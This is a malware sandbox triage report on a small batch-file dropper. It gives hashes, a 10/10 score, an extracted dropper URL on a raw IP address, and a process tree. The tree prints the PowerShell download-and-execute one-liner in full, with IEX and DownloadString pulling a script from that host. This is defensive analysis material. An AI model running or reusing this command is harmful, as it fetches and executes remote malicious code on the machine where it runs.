bb6e5707ed0e890b78840f7baf4ddc06662c752d1db3c0b7f510db84c544a44f | Triage

Analysis

max time kernel
146s
max time network
68s
platform
windows10_x64
resource
win10v200430
submitted
07-06-2020 11:10

Sharing

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General

Target

0c8fe037f03d1ce50314d43d98fbb194.bat
Size

219B
MD5

7ade68e5f45f65e5f0d80987ec07fe12
SHA1

ad4667dfd46bd31108df3355378d115891af37b4
SHA256

bb6e5707ed0e890b78840f7baf4ddc06662c752d1db3c0b7f510db84c544a44f
SHA512

24c287f1306c94c85824f19d7285525afc0dad378975bbf1b92fd4b6217cfb3f33f0c2f98634cc8b2d9a65af5fbd8ad3cc1ddfcec1af86a97bfdf3d84f6f0a7a

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/0c8fe037f03d1ce50314d43d98fbb194

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

864 500 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 864 WerFault.exe
Token: SeBackupPrivilege 864 WerFault.exe
Token: SeDebugPrivilege 864 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
864	WerFault.exe
864	WerFault.exe
864	WerFault.exe
864	WerFault.exe
864	WerFault.exe
864	WerFault.exe
864	WerFault.exe
864	WerFault.exe
864	WerFault.exe
864	WerFault.exe
864	WerFault.exe
864	WerFault.exe
864	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\0c8fe037f03d1ce50314d43d98fbb194.bat"
1⤵
PID:1808

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/0c8fe037f03d1ce50314d43d98fbb194');Invoke-NIZOHWYRLEXH;Start-Sleep -s 10000"
2⤵
PID:500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 500 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:864

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/864-0-0x00000000047E0000-0x00000000047E1000-memory.dmp

Filesize
4KB

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memory/864-1-0x0000000004E20000-0x0000000004E21000-memory.dmp

Filesize
4KB

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